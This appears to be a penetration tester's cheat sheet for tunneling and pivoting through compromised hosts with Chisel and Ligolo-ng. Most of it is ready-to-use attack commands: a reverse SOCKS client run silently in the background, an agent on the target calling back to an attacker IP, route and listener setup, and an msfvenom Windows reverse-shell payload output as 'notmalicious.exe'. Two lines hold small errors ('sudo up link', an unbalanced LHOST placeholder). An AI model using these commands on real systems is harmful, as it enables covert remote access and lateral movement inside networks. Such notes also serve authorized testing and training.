Tunnel techniques

Tunneling using Chisel

Chisel Server (HTTP Tunneling)

chisel server --port <PORT TO BIND> --reverse

Chisel Client (HTTP Tunneling)

<PATH TO chisel> client <MY IP>:<PORT TO CONNECT> R:socks > /dev/null 2>&1 &

Tunneling with Ligolo-ng

Running Proxy on Attacker machine

./proxy -selfcert -laddr 0.0.0.0:443

Running Agent on Target machine

./agent -connect <ATTACKER IP>:443 -ignore-cert

Adding Route

sudo ip tuntap add user ranay mode tun ligolo
sudo up link set ligolo up
sudo ip route add <Target Subnet> dev ligolo

Adding listener

Ligolo-ng — Pivoting, Reverse Shells and File TransfersMedium

On proxy

listener_add --addr 0.0.0.0:<PORT ON AGENT> --to 127.0.0.1:<PORT ON KALI>

Reverse Shell Example:

msfvenom -p windows/x64/reverse_tcp LHOST=AGENT IP> LPORT=<PORT ON AGENT>  
-f exe -o notmalicious.exe